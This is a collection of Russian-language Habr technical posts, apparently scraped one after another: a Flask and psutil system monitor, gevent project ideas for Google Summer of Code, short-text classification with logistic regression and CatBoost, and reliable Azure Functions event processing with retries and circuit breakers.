Ссылка [здесь](https://itunes.apple.com/us/app/hobbit-maze/id644891796?l=ru&ls=1&mt=8).
Текущий рейтинг игроков можно посмотреть [здесь](http://www.bashni.org/sites/iphone/hobbit/hobbit_news.php).
Удивляет наличие американцев, ведь играть сложно и успеха эта игра не принесет. Кроме пары сотни долларов на рекламе.
#### Вывод
Публикации алгоритмов очень полезны.
Часто они помогают найти собственные ошибки.
Пишите чаще. Перечитывайте еще чаще. Публикуйте реже. | https://habr.com/ru/post/182980/ | null | ru | null |
# Простой монитор системы на Flask
Привет, Хабр!
Недавно возникла необходимость сделать простой и расширяемый монитор использования системы для сервера на Debian. Хотелось строить диаграммы и наблюдать в реальном времени использование памяти, дисков и тп. Нашел много готовых решений, но в итоге сделал скрипт на python + Flask + psutil. Получилось очень просто и функционально. Можно легко добавлять новые модули.
**UPDATE: статья исправлена и дополнена с учетом замечаний в комментариях.**
Сначала сделаем небольшой файл конфигурации для настройки.
**Несколько настроек для монитора**
```
# configuration for server monitor
#general info
version = 1.0
# web server info
server_name = "monitor"
server_port = 10000
server_host = "localhost"
#monitoring
time_step = 1 #s
max_items_count = 100
#display
fig_hw = 3
```
Напишем монитор, который будет по таймеру собирать нужные нам данные.
В примере — свободное место на дисках и доступная память.
```
import threading
import time
import psutil
from conf import config as cfg
import datetime
mem_info = list()
disk_usage = list()
def timer_thread():
while True:
time.sleep(cfg.time_step)
mi = psutil.virtual_memory()
if mem_info.__len__() >= cfg.max_items_count:
mem_info.pop(0)
if disk_usage.__len__() >= cfg.max_items_count:
disk_usage.pop(0)
di = list()
for dp in psutil.disk_partitions():
try:
du = psutil.disk_usage(dp.mountpoint)
except:
continue
di.append(du.free / 1024 / 1024)
mem_info.append([mi.available / 1024 / 1024])
disk_usage.append(di)
def start():
t = threading.Thread(target=timer_thread,
name="Monitor",
args=(),
daemon=True)
t.start()
```
И саму модель, которая реализует модули. Сюда можно добавлять любой функционал, позже я добавил еще доступность сервисов в интранет (пинг).
Для построения временных графиков берем данные из монитора (см выше).
**Отображение модулей на странице**
```
import matplotlib
matplotlib.use('agg')
import psutil, datetime
import mpld3
from jinja2 import Markup
from conf import config as cfg
import platform
from matplotlib import pyplot as plt
import numpy
from lib import timemon
from operator import itemgetter
def get_blocks():
blocks = list()
get_mem_info(blocks)
get_disks_usage(blocks)
return blocks
def get_mem_info(blocks):
fig = plt.figure(figsize=(2 * cfg.fig_hw, cfg.fig_hw))
plt.subplot(121)
mem = psutil.virtual_memory()
labels = ['Available', 'Used', 'Free']
fracs = [mem.available, mem.used, mem.free]
lines = list()
lines.append(str.format('Avaliable memory: {0} MB',mem.available))
lines.append(str.format('Used memory: {0} MB', mem.used))
lines.append( str.format('Free memory: {0} MB', mem.free))
if psutil.LINUX:
labels = numpy.hstack((labels, ['Active', 'Inactive', 'Cached', 'Buffers', 'Shared']))
fracs = numpy.hstack((fracs, [mem.active, mem.inactive, mem.cached, mem.buffers, mem.shared]))
lines.append(str.format('Active memory: {0} MB', mem.active))
lines.append(str.format('Inactive memory: {0} MB', mem.inactive))
lines.append(str.format('Cached memory: {0} MB', mem.cached))
lines.append(str.format('Buffers memory: {0} MB', mem.buffers))
lines.append(str.format('Shared memory: {0} MB', mem.shared))
plt.pie(fracs, labels=labels, shadow=True, autopct='%1.1f%%')
plt.subplot(122)
plt.plot(timemon.mem_info)
plt.ylabel('MBs')
plt.xlabel(str.format('Interval {0} s', cfg.time_step))
plt.title('Avaliable memory')
plt.tight_layout()
graph = mpld3.fig_to_html(fig)
blocks.append({
'title': 'Memory info',
'graph': Markup(graph),
'data':
{
'primary' : str.format("Total memory: {0} MB", mem.total / 1024 / 1024),
'lines' : lines
}
})
print( blocks)
def get_disks_usage(blocks):
num = 0
for dp in psutil.disk_partitions():
fig = plt.figure(figsize=(2 * cfg.fig_hw, cfg.fig_hw))
plt.subplot(121)
try:
di = psutil.disk_usage(dp.mountpoint)
# gets error on Windows, just continue anyway
except:
continue
labels = ['Free', 'Used', ]
fracs = [di.free, di.used]
plt.pie(fracs, labels=labels, shadow=True, autopct='%1.1f%%')
plt.subplot(122)
plt.plot(list(map(itemgetter(num), timemon.disk_usage)))
plt.ylabel('MBs')
plt.xlabel(str.format('Interval {0} s', cfg.time_step))
plt.title('Disk available space')
plt.tight_layout()
graph = mpld3.fig_to_html(fig)
blocks.append({
'title': str.format('Disk {0} info', dp.mountpoint),
'graph': Markup(graph),
'data':
{
'primary': '',
'lines': [ str.format('Free memory: {0} MB', di.free / 1024 / 1024),
str.format('Used memory: {0} MB', di.used / 1024 / 1024) ]
}
})
num = num + 1
```
Переходим к созданию веб-сервера и делаем шаблон для отображения страницы, который будет использовать данные из модели.
```
Server monitor v. {{ script\_version }}
Server information
===================
###
Active since {{ active\_since }} ({{ days\_active }} days)
{{ system }} {{ release }} {{ version }}
{% for block in blocks %}
{{ block.title }}
------------------
| | |
| --- | --- |
|
{{ block.graph }}
|
{{ block.data.primary }}
{% for line in block.data.lines %}
{{ line }}
{% endfor %}
|
{% endfor %}
```
Наконец, добавим скрипт запуска сервера на Flask по адресу из настроек.
```
#!/usr/bin/python3
from flask import *
from conf import config as cfg
from lib import timemon as tm
from lib import info
import psutil
import datetime
import platform
# server health monitoring tool
app = Flask(cfg.server_name)
@app.route('/')
def index():
active_since = datetime.datetime.fromtimestamp(psutil.boot_time())
return render_template("index.html",
script_version=cfg.version,
active_since=active_since,
days_active=(datetime.datetime.now() - active_since).days,
system=platform.system(),
release=platform.release(),
version=platform.version(),
blocks=info.get_blocks())
print("Starting time monitor for", cfg.time_step, "s period")
tm.start()
print("Starting web server", cfg.server_name, "at", cfg.server_host, ":", cfg.server_port)
app.run(port=cfg.server_port, host=cfg.server_host)
```
Вот и все. Запустив скрипт, можно посмотреть графики и диаграммы.
Весь код, как обычно, на [github](https://github.com/antonkorbalev/simplesysmon).
Проверено на windows и linux.
Любые улучшения и пожелания приветствуются. | https://habr.com/ru/post/345848/ | null | ru | null |
# Проекты Python в рамках Google Summer of Code — gevent
Уже весна, а это значит… что скоро лето и очередное Google Summer of Code — возможность получить кучу опыта и даже какое-то материальное вознаграждение. Хочу рассказать об одном интересном проекте, которому вы сможете помочь во время летних каникул — [gevent](http://www.gevent.org).
gevent — это библиотека для Python, которая позволяет вам писать **асинхронные** сетевые приложение использую **синхронный** API. Как вы уже догадались, она использует для этого `greenlet`'ы. Поясню вышесказанное на следующем примере кода (взятого из официального [репозитория](http://bitbucket.org/denis/gevent/) проекта на bitbucket):
```
"""Spawn multiple workers and wait for them to complete"""
urls = ['http://www.google.com', 'http://www.yandex.ru', 'http://www.python.org']
import gevent
from gevent import monkey
monkey.patch_all()
import urllib2
def print_head(url):
print 'Starting %s' % url
data = urllib2.urlopen(url).read()
print '%s: %s bytes: %r' % (url, len(data), data[:50])
jobs = [gevent.spawn(print_head, url) for url in urls]
gevent.joinall(jobs)
```
Основная прелесть этого кусочка кода в том, что все запросы на получение страниц с помощью вызова `urllib2.urlopen` выполняются параллельно. Аналогичный трюк можно проделать с любой библиотекой, которая использует модуль `socket`. Заинтригованы? У меня даже получалось использовать в приложениях, написанных с использоваием gevent, такие мощные библиотеки как SQLAlchemy (конечно необходимо использовать DB-API 2.0 адаптеры с python-сокетами). Резюме — читаемый код, который выполняет асинхронный I/O и никаких коллбэков (вы помните Twisted?), который к тому же выполняется быстро. Почему я утверждаю, что быстро? Потому что «под капотом» у gevent — [Libevent](http://www.monkey.org/~provos/libevent/) — быстрая и проверенная временем библиотека, предоставляющая цикл обработки событий (event loop), который находится полностью в С коде. А в добавок в Libevent есть DNS-резольвер и HTTP-сервер, что gevent использует наполную (модули `gevent.dns`, `gevent.http`). Убедиться в скорости gevent можно, например, пройдя по [ссылке](http://nichol.as/benchmark-of-python-web-servers) и посмотрев результаты бенчмарков среди WSGI-серверов, написанных на Python.
А теперь конкретно об идеях на GSoC для gevent, а их пока только две, что впрочем не мешает вам предлагать свои:
* Портирование gevent для использования со Stackless Python.
* Реализация в gevent циклов обработки событий (event loops) отличных от libevent.
Как вы знаете, модуль `greenlet`, который используется в gevent, это всего лишь «выжимка» из Stackless Python. И почему бы gevent не заставить работать вместе со Stackless Python. Во-первых, для последнего ещё нету качественной библиотеки, реализующей неблокирующие сокеты, и если она появится, пользователи Stackless Python будут вам очень благодарны. Во-вторых, «микропотоки» (tasklets) Stackless Python работают быстрее чем гринлеты, что даст немалый прирост скорости в приложениях, написанных с gevent.
Насчёт реализации циклов обработки событий просто приведу свои мысли:
* Интеграция цикла gevent с циклами GUI-библиотек (pygtk, PyQt4).
* Nginx mod\_wsgi предоставляет API к своему poll-интерфейсу, который можно использовать для реализации цикла gevent — только представьте — nginx как сервер асинхронных python-приложений. По-моему, звучит классно.
Если вам стало интересно, подписывайтесь на официальный [список рассылки](http://groups.google.com/group/gevent) gevent, там как раз только начинается обсуждение проектов GSoC. | https://habr.com/ru/post/87793/ | null | ru | null |
# Мультиклассификация экстремально коротких текстов классическими методами машинного обучения
В мире коммерции существует множество применений классификации текста. Например, новости часто сгруппированы по темам, контент или товары часто помечаются по категориям, а пользователей можно разделить на группы, в зависимости от того, как они отзываются о товаре в Интернете. Однако большинство статей в сети описывают бинарную классификацию, но чаще реальные задачи оказываются сложнее. В этой статье мы будем проводить мультиклассовую классификацию обращений в службу банка.
В ходе работы служб банка накапливается огромное количество текстовой информации, которую необходимо анализировать и структурировать. В нашем случае классифицировать необходимо обращения. Категории заданы заранее: “Сбой/ошибка в работе приложения”, “Неторговые операции”, “Негатив”, “Налогообложение”, “Отчётность брокера”, “Обновление анкетных данных”, “ИИС”, “Торговые операции”, “Передача выплат инвестору”, “Выбор опций”, “СМС-информирование”, “Отмена заявки”.
Для начала считаем данные:
```
import pandas as pd
raw_data = pd.read_excel('example.xlsx')
raw_data.head()
```
Таким образом, исходные данные представлены 5 столбцами.
Очевидно, что сначала нужно выполнить нормализацию текста. Для этого приведем весь текст в один регистр, удалим лишние пробелы и знаки препинания, а также стоп-слова. Под стоп-словом подразумевается слово, которое не несет какой-либо смысловой нагрузки и может одинаково часто встречаться во всех категориях.
```
import stop_words
russian_stopwords = stop_words.get_stop_words('ru')
russian_stopwords.extend(['...', '«', '»', 'здравствуйте','здравствуй','до свидания', 'добрый день', 'добрый вечер', 'доброе утро'])
import string
def remove_punctuation(text):
return ''.join([ch if ch not in string.punctuation else ' ' for ch in text])
def remove_numbers(text):
return ''.join([i if not i.isdigit() else ' ' for i in text])
import re
def remove_multiple_spaces(text):
return re.sub(r'\s+', ' ', text, flags=re.I)
prep_text = [remove_multiple_spaces(remove_numbers(remove_punctuation(text.lower()))) for text in raw_data['Text'].astype('str')]
raw_data['text_prep'] = prep_text
raw_data.head()
```
Далее есть 2 классических варианта. 1- использовать стемминг(нахождение основы слова), 2- использовать лемматизацию. В большинстве случаев лемматизация(начальная форма слова) является лучшим решением, поэтому воспользуемся ей.
Для этого используем библиотеку pymorphy2.
```
import pymorphy2
raw_data = raw_data.dropna(subset=['text_prep'])
morph = pymorphy2.MorphAnalyzer()
lemm_texts_list = []
for text in raw_data['text_prep']:
text_lem = [morph.parse(word)[0].normal_form for word in text.split(' ')]
if len(text_lem) <= 2:
lemm_texts_list.append('')
continue
lemm_texts_list.append(' '.join(text_lem))
raw_data['text_lemm'] = lemm_texts_list
raw_data = raw_data[raw_data['text_lemm'] != '']
raw_data.head()
```
Самое время окунуться в специфику данных. Дело в том, что наши тексты очень короткие, и, помимо этого, пользователи часто могут писать самые разные общие фразы, которые никак не относятся к тематике обращений, например: «Добрый день», «С новым годом» и т.д. Поэтому мы игнорируем тексты, где после удаления стоп-слов остается только 2 токена. Предполагается, что таким образом наши категории станут наиболее выраженными.
Далее – обучение. В статье будет рассмотрено 2 классических метода: градиентный бустинг от CatBoost и логистическая регрессия.
Разбиваем данные на обучающую и тест выборку.
```
from sklearn.model_selection import train_test_split
X = raw_data ['text_lemm']
y = raw_data ['Разметка подробно']
X_train, X_test, y_train, y_test = train_test_split(X, y, random_state= 42, test_size=0.3)
```
Обучение логистической регрессии.
```
from sklearn.pipeline import Pipeline
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import LogisticRegression
logreg = Pipeline([
('vect', CountVectorizer(analyzer='char', ngram_range =([2,10]))),
('tfidf', TfidfTransformer()),
('clf', LogisticRegression(n_jobs=3,C=1e5, solver='saga',
multi_class='multinomial',
max_iter=1000,
random_state=42)),
])
logreg.fit(X_train, y_train)
y_pred = logreg.predict(X_test)
from sklearn.metrics import classification_report
from sklearn.metrics import f1_score
print(classification_report(y_test, y_pred, target_names=themes))
print(f"F1 Score: {f1_score(y_test, y_pred, average='weighted')}")
```
Используется CountVectorizer на ngram с analyzer = char. Именно такой подход дал наилучшую точность на маленьких текстах. В зависимости от данных значение ngram можно корректировать. Целевая метрика – F1.
Далее - CatBoost.
Создаем функцию с инициализацией и обучением модели.
```
from catboost import CatBoostClassifier, Pool
def fit_model(train_pool, test_pool, **kwargs):
model = CatBoostClassifier(task_type='CPU', iterations = 5000,
eval_metric='TotalF1', od_type='Iter',
od_wait=500, **kwargs)
return model.fit(train_pool, eval_set=test_pool,
verbose=100, plot=True,
use_best_model=True)
```
Модель будет обучаться «на процессоре», валидационная метрика – F1. В параметрах обучения задаем валидационный пул и использование модели с наибольшим качеством.
Формируем обучающий и валидационный пулы.
```
train_pool = Pool(data=X_train, label=y_train,
text_features=['text_lemm',])
valid_pool = Pool(data=X_test, label=y_test,
text_features=['text_lemm',])
```
Стоит отметить, что обучение CatBoost с использованием пулов, как правило дает лучшее качество.
Обучаем модель.
```
model = fit_model(train_pool, valid_pool, learning_rate=0.35,
dictionaries = [{
'dictionary_id':'Word',
'max_dictionary_size': '50000'
}],
feature_calcers = ['BoW:top_tokens_count=10000'])
```
CatBoost дал нам прирост в качестве ~ 2%.
Таким образом, если задача обязывает модель быть интерпретируемой – можно использовать логистическую регрессию, опираясь на указанные в статье параметры. В иных случаях стоит использовать CatBoost. | https://habr.com/ru/post/584506/ | null | ru | null |
# Запись гитарных аккордов HTML+CSS (пока без барре)
Как обычно представляют гитарные аккорды на веб-страничках?
**Картинками!**
Вот только не всегда это удобно, потому что их приходиться рисовать.
Вот у меня родилась идея:
*отображать гитарные аккорды используя только HTML и CSS.*
Описываю аккорд так:
Название, столбец данных данных о звучании струны, поле для аккорда.
Меткой указывается зажимаемая струна и прижимающий её палец. Значения остальных меток приведены на рисунке.
*Пока я сделал отображение только простых аккордов, аккорды с барре пора не отображаются.*
Если кто-то придумает — милости просим с предложениями.
Собственно само представление грифа гитары сделано на списках. 4 списка: 1 — для отметок о звучании, 2..4 — для ладов.
#### Как это выглядит в Html
> ````
>
>
> Dm
> *
> *
> *
> * 0
> * X
> * X
>
>
>
>
> * ©1
> *
> *
> *
> *
> *
>
>
>
> *
> *
> * ©2
> *
> *
> *
>
>
>
> *
> * ©3
> *
> *
> *
> *
>
>
>
>
>
>
>
> ````
>
>
Пустые строки необходимо заполнять неразрывным пробелом, который не отображается, чтобы нормальные браузеры (FF например) отображали эти строки.
#### Оформляем Html с помощью CSS
> ````
>
> /* Accord */
> div.accord {
> width: 162px;
> margin: 1em;
> }
> div.accord .accord-name { /* Название аккорда */
> text-align: center;
> font-size: 1.4em;
> font-weight: bold;
> }
> div.accord div.grif { /* Оформляем гриф */
> height: 7.4em;
> overflow: hidden;
> }
> div.accord div.grif .porojek { /* Оформляем порожек между ладами */
> width: 2px;
> height: 6.4em;
> float: left;
> background: black;
> margin: .4em 0 0 0;
> }
> div.accord div.grif .porojek.verx { /* Оформляем первый порожек, он больше в ширину */
> width: 4px;
> }
> div.accord .grif ul { /* одно поле под аккорд */
> width: 46px;
> float: left;
> margin-top: -.6em; /* поле подтягивем вверх */
> line-height: 11px;
> }
> div.accord .grif ul li {
> text-align: center; /* посередине поля расположим метку прижимаемой струны */
> border-bottom: 1px dotted gray; /* рисуем струну */
> }
> div.accord .grif ul li span {
> position: relative;
> bottom: -.6em; /* расположим метку посередине струны */
> font-size: 1em;
> font: Verdana;
> }
> div.accord .grif ul li span small { /* номер прижимающего струну пальца */
> font-size: .9em;
> position: relative;
> bottom: 2px; /* сдвинем относительно метки чуть вверх и вправо */
> left: 1px;
> }
>
> div.accord ul { /* отметки перед аккордом о звучании струн */
> width: 12px;
> float: left;
> line-height: 12px;
> }
> #content dl { /* список обозначений */
> font-size: 1.2em;
> }
> #content dl dt {
> font-weight: bold;
> }
>
> ````
Для сбрасывания стилей браузеров по умолчанию используется [reset.css](http://developer.yahoo.com/yui/reset/) из *Yahoo! UI Library*.
**Посмотреть живое [демо](http://r3code.ru/projects/accord-v1/accord.html)**
**UPD:** протестировано только IE7, FF3, Opera 9
**UPD 21.03.2009:** О версии с поддержкой баррэ читайте в следующем [топике](http://r3code.habrahabr.ru/blog/55141/). | https://habr.com/ru/post/53792/ | null | ru | null |
# Как не пропустить ни одного сообщения
Обработка событий — одна из самых распространенных задач в области бессерверных технологий. Сегодня расскажем о том, как создать надежный обработчик сообщений, который сведет к нулю их потерю. Кстати, примеры написаны на C# с использованием библиотеки Polly, но показанные подходы будут работать с любыми языками (если не указано обратное).
Передаю слово [автору](https://medium.com/@jeffhollan?source=post_header_lockup).
Надежная обработка событий с помощью Azure Functions
----------------------------------------------------
Несколько недель назад я опубликовал статью о том, [как обрабатывать события по порядку с помощью Functions](https://medium.com/@jeffhollan/in-order-event-processing-with-azure-functions-bb661eb55428). В сегодняшней публикации я в общих чертах расскажу, как создать надежный обработчик сообщений, который сведет к нулю их потерю. Эту статью можно было бы разбить на две или три части, но я решил объединить всю информацию в одном материале. Он получился большим, но зато охватывает широкий спектр задач: от простых до самых сложных, таких как использование шаблонов размыкателя цепи и фильтров исключений. Примеры написаны на C#, но показанные подходы будут работать с любыми языками (если не указано обратное).
Проблемы, связанные с потоками событий в распределенных системах
----------------------------------------------------------------
Представьте систему, которая отправляет события с постоянной скоростью — например, 100 штук в секунду. Настроить прием этих событий в Azure Functions довольно просто. Всего за несколько минут можно подготовить множество параллельных экземпляров, которые будут обрабатывать эти 100 событий в секунду. Но что, если издатель отправит некорректно сформированное событие? Что если один из ваших экземпляров прекратит работу из-за сбоя? Или отключится одна из систем, осуществляющих дальнейшие этапы обработки? Как справиться с такими ситуациями, сохранив при этом общую целостность и пропускную способность вашего приложения?
Обеспечить надежность обработки сообщений при использовании очередей немного проще. В Azure Functions при обработке сообщения из очереди функция может «заблокировать» такое сообщение, попытаться обработать его, а в случае неудачи — снять блокировку, чтобы другой экземпляр мог принять его и повторить попытку. Эти попытки продолжаются до тех пор, пока сообщение не будет успешно обработано или пока не будет достигнуто предельное допустимое количество попыток (по умолчанию — 4). Во втором случае сообщение добавляется в очередь подозрительных сообщений. Когда сообщение из очереди проходит этот цикл попыток, параллельное извлечение из очереди других сообщений не прекращается. Поэтому одна ошибка почти не влияет на общую пропускную способность. Однако очереди хранения не гарантируют порядок и не оптимизированы для обеспечения высокой пропускной способности служб (как, например, концентраторы событий).
В потоках событий (например, в концентраторах событий Azure) блокировки не используются. Эти службы устроены так, чтобы обеспечить высокую пропускную способность, поддерживать несколько групп потребителей и возможность воспроизведения. При приеме событий они работают подобно ленточному накопителю. На каждый раздел в потоке приходится один указатель смещения. Считывать события можно в обоих направлениях. Допустим, при чтении потока событий возникает ошибка, и вы решаете оставить указатель на прежнем месте. Пока он не сдвинется, дальнейшая обработка данных из этого раздела будет невозможна. Другими словами, если в систему по-прежнему поступает 100 событий в секунду, но Azure Functions перестали перемещать указатель на новые события, пытаясь справиться с некорректным, то случится затор. Очень быстро у вас накопится огромное количество необработанных событий, которое будет постоянно расти.
*Обрабатывайте исключения, но не задерживайте очередь.*
Такое поведение указателя смещения и потребителей было учтено: **Functions будут перемещать указатель по потоку вне зависимости от того, успешной ли была обработка**. Это значит, что ваша система и ваши Functions должны уметь обрабатывать такие ситуации.
Как Azure Functions принимают события из концентратора событий
--------------------------------------------------------------
Azure Functions взаимодействуют с концентратором событий следующим образом:
1. Для каждого раздела в концентраторе событий создается (и помещается в хранилище Azure) указатель (его можно увидеть в учетной записи хранения).
2. При получении новых сообщений концентратора событий (по умолчанию оно выполняется в пакетном режиме) узел попытается запустить функцию, передав в нее пакет сообщений.
3. Когда функция завершает работу (неважно, с исключениями или нет), указатель перемещается дальше, и его позиция сохраняется в хранилище.
4. Если что-то мешает функции завершиться, то узел не сможет передвинуть указатель, и при последующих проверках будут получены те же сообщения (с предыдущей контрольной точки).
5. Этапы 2–4 повторяются.
Здесь следует обратить внимание на несколько вещей. Первая: **если вы не обрабатываете исключения, то можете потерять сообщения**, потому что даже если выполнение завершилось с исключением, указатель будет смещен. Вторая: **Functions гарантируют по меньшей мере однократную доставку** (это обычная ситуация в распределенных системах). Это значит, что ваш код и зависящие от него системы должны корректно работать в ситуациях, когда одно и то же сообщение было получено дважды. Ниже приводятся примеры этих двух ситуаций и кода, который позволяет с ними справиться.
В рамках этих тестов я опубликовал 100 тысяч сообщений для последовательной обработки (на ключ раздела). Чтобы проверить и наглядно представить порядок и надежность, я буду регистрировать каждое сообщение в ходе его обработки в кеше Redis. В первом тесте каждое сотое сообщение приводит к генерации исключения, и обработка исключений не производится.
```
[FunctionName("EventHubTrigger")]
public static async Task RunAsync([EventHubTrigger("events", Connection = "EventHub")] EventData[] eventDataSet, TraceWriter log)
{
log.Info($"Triggered batch of size {eventDataSet.Length}");
foreach (var eventData in eventDataSet) {
// For every 100th message, throw an exception
if (int.Parse((string)eventData.Properties["counter"]) % 100 == 0)
{
throw new SystemException("Some exception");
}
// Insert the current count into Redis
await db.ListRightPushAsync("events:" + eventData.Properties["partitionKey"], (string)eventData.Properties["counter"]);
}
}
```
После передачи 100 тысяч сообщений в эту систему Redis показал следующее:
Как видите, я пропустил целую цепочку сообщений с 100-й по 112-ю. Что произошло? В какой-то момент один из экземпляров моих функций получил пакет сообщений для этого ключа раздела. Этот конкретный пакет закончился на 112-м сообщении, но на сотом было сгенерировано исключение. Выполнение было остановлено, но узел функций продолжил работу и считал следующий пакет. Технически эти сообщения сохранились в концентраторах событий, но чтобы обработать их повторно, мне нужно вручную запросить сообщения с 100-го по 112-е.
Добавление блока try-catch
--------------------------
Проще всего решить эту проблему простым добавлением в код блока try/catch. Теперь в случае исключения я могу обработать его в рамках того же процесса до того, как указатель переместится дальше. [После добавления блока catch в приведенный выше код](https://github.com/jeffhollan/functions-csharp-eventhub-ordered-processing/blob/6e16b23c967dd677559687e7ee325baa8a1301f0/OrderedEventHubs/EventHubTrigger.cs#L29-L33) и перезапуска теста все 100 тысяч сообщений появились в нужном порядке.
*Рекомендация: во всех функциях концентратора событий должен быть блок catch.*
В этом примере я использовал блок catch, чтобы предпринять дополнительную попытку вставки данных в Redis, но ему легко найти и другие разумные применения: например, отправка уведомления или помещение сообщения в очередь подозрительных или в концентратор событий для дальнейшей обработки.
Механизмы и политики повторных попыток
--------------------------------------
Некоторые возникающие исключения могут проявляться лишь время от времени. Иногда для корректного выполнения операции ее достаточно просто повторить. В блоке catch в коде из предыдущего раздела выполнялась одна повторная попытка, но если бы она завершилась неудачей или привела к исключению, то я все так же потерял бы сообщения 100–112. Существует множество инструментов, которые позволяют настроить более гибкие политики повторных попыток с сохранением порядка обработки.
Для тестирования я воспользовался библиотекой C# для обработки ошибок, которая называется [Polly](https://github.com/App-vNext/Polly). Она позволила мне задать как простые, так и продвинутые политики выполнения повторных попыток. Пример: «попытаться вставить это сообщение три раза (возможно, с задержкой между попытками). Если все попытки были неудачными, добавить сообщение в очередь, чтобы я мог продолжить обработку событий, а к необработанному или некорректному сообщению вернуться позже».
```
foreach (var eventData in eventDataSet) {
var result = await Policy
.Handle()
.RetryAsync(3, onRetryAsync: async (exception, retryCount, context) =>
{
await db.ListRightPushAsync("events:" + context["partitionKey"], (string)context["counter"] + $"CAUGHT{retryCount}");
})
.ExecuteAndCaptureAsync(async () =>
{
if (int.Parse((string)eventData.Properties["counter"]) % 100 == 0)
{
throw new SystemException("Some Exception");
}
await db.ListRightPushAsync("events:" + eventData.Properties["partitionKey"], (string)eventData.Properties["counter"]);
},
new Dictionary() { { "partitionKey", eventData.Properties["partitionKey"] }, { "counter", eventData.Properties["counter"] } });
if(result.Outcome == OutcomeType.Failure)
{
await db.ListRightPushAsync("events:" + eventData.Properties["partitionKey"], (string)eventData.Properties["counter"] + "FAILED");
await queue.AddAsync(Encoding.UTF8.GetString(eventData.Body.Array));
await queue.FlushAsync();
}
}
```
В этом коде я добавляю сообщение в кеш Redis с помощью фрагмента, который создает запись.
Итоговое состояние Redis:
При работе с более продвинутыми политиками перехвата исключений и повторных попыток стоит иметь в виду, что для предварительно скомпилированных библиотек классов C# доступна ознакомительная версия возможности, позволяющей задать «фильтры исключений» для вашей функции. С ее помощью вы сможете написать метод, который будет выполняться при генерации необработанного исключения во время работы функции. Более подробная информация и примеры доступны [в этой публикации](https://github.com/Azure/azure-webjobs-sdk/wiki/Function-Filters).
Ошибки и проблемы, не являющиеся исключениями
---------------------------------------------
Мы рассмотрели случай генерации исключений в вашем коде. Но что, если экземпляр функции столкнется с перебоем в процессе работы?
Как мы уже говорили, если Function не завершает выполнения, то указатель смещения не передвигается дальше, а значит, при попытке принять сообщения новые экземпляры будут получать одни и те же данные. Чтобы сымитировать такую ситуацию, я вручную остановил, запустил и перезапустил мое приложение-функцию в ходе обработки 100 тысяч сообщений. Слева вы можете увидеть часть полученных результатов. Обратите внимание: все события были обработаны, все в порядке, но некоторые сообщения были обработаны несколько раз (после 700-го было повторно обработано 601-е и последующие). В целом это хорошо, поскольку такое поведение гарантирует по меньшей мере однократную доставку, но это значит, что мой код должен быть в определенной мере идемпотентным.
Размыкатель цепи и остановка конвейера
--------------------------------------
Представленные выше закономерности и шаблоны поведения удобны для реализации повторных попыток и помогают приложить максимум усилий для обработки событий. Определенный уровень сбоев во многих случаях допустим. Но представим, что возникает множество ошибок, и я хочу остановить срабатывание на новых событиях до восстановления работоспособности системы. Этого можно достичь с помощью шаблона размыкателя цепи — элемента, который позволяет остановить цепь обработки событий и возобновить ее работу позже.
Polly (библиотека, с помощью которой я реализовал повторные попытки) поддерживает некоторые возможности размыкателя цепи. Однако эти шаблоны не очень подходят для использования в случае распределенных временных функций, когда цепь охватывает несколько экземпляров без отслеживания состояния. Существует [несколько интересных подходов к решению этой проблемы](https://github.com/App-vNext/Polly/issues/287) с помощью Polly, но я пока добавлю нужные функции вручную. Для реализации размыкателя цепи при обработке событий необходимы два компонента:
1. Общее для всех экземпляров состояние для отслеживания и мониторинга работоспособности цепи.
2. Главный процесс, который способен управлять состоянием цепи (размыкать или замыкать ее).
В качестве первого компонента я использовал кэш Redis, а вторым стали приложения логики Azure. Обе эти роли могут выполнять множество других служб, но мне понравились эти две.
Предельно допустимое количество ошибок по всем экземплярам
----------------------------------------------------------
Параллельно обрабатывать события могут несколько экземпляров, поэтому для мониторинга работоспособности цепи мне нужно общее внешнее состояние. Я хотел реализовать следующее правило: «Если в течение 30 секунд по всем экземплярам в сумме зарегистрировано более 100 ошибок, разомкнуть цепь и прекратить срабатывание на новых сообщениях».
Я использовал доступные в Redis возможности отслеживания TTL и сортированные множества, чтобы получить скользящий интервал, регистрирующий количество ошибок за последние 30 секунд. (Если вас интересуют подробности, все эти примеры доступны в [GitHub](https://github.com/jeffhollan/functions-csharp-eventhub-ordered-processing).) При появлении новой ошибки я обращался к скользящему интервалу. Если допустимое количество ошибок (более 100 за последние 30 секунд) было превышено, я отправлял событие в службу «Сетка событий Azure». Соответствующий код Redis доступен [здесь](https://github.com/jeffhollan/functions-csharp-eventhub-ordered-processing/blob/3d8153cdbb3be772cd7a3ee89882cb677ec8672c/OrderedEventHubs/EventHubTrigger.cs#L61-L99). Так я мог обнаружить неполадки, отправить событие и разомкнуть цепь.
Управление состоянием цепи с помощью приложений логики
------------------------------------------------------
Для управления состоянием цепи я использовал приложения логики Azure, поскольку коннекторы и оркестрация с сохранением состояния отлично дополняют друг друга. Когда срабатывало условие размыкания цепи, я инициировал рабочий процесс (триггер службы «Сетка событий Azure»). Первый шаг — остановить Azure Functions (с помощью коннектора ресурса Azure) и отправить электронное письмо с уведомлением и вариантами реагирования. После этого я могу проверить работоспособность цепи и запустить ее снова, если все в порядке. В результате рабочий процесс будет возобновлен, функция запущена, а обработка сообщений — продолжена с последней контрольной точки концентратора событий.
*Электронное письмо, которое я получил от приложений логики после остановки функции. Я могу нажать любую кнопку и возобновить работу цепи, когда потребуется.*
Примерно 15 минут назад я отправил 100 тысяч сообщений и настроил систему так, чтобы каждое сотое сообщение приводило к ошибке. Примерно после 5000 сообщений был превышен допустимый порог, и событие было отправлено в службу «Сетка событий Azure». Мое приложение логики Azure сразу же сработало, остановило функцию и отправило мне электронное письмо (оно показано выше). Если взглянуть на содержимое Redis, мы увидим множество частично обработанных разделов:
*Нижняя часть списка — обработка первых 200 сообщений для этого ключа раздела, после чего приложения логики остановили систему.*
Я щелкнул по ссылке в электронном письме, чтобы возобновить работу цепи. Выполнив все тот же запрос в Redis, можно увидеть, что функция продолжила свою работу с последней контрольной точки концентратора событий. Ни одно сообщение не потерялось, все было обработано в строгом порядке, и цепь получилось сохранять разомкнутой столько, сколько требовалось — состоянием управляло мое приложение логики.
*Семнадцатиминутная задержка перед командой на повторное замыкание цепи.*
Надеюсь, эта публикация помогла вам узнать больше о методах и шаблонах надежной обработки потоков сообщений с помощью Azure Functions. Эти знания позволят вам воспользоваться преимуществами функций (в частности, их динамическим масштабированием и оплатой по мере потребления ресурсов) без ущерба для надежности решения.
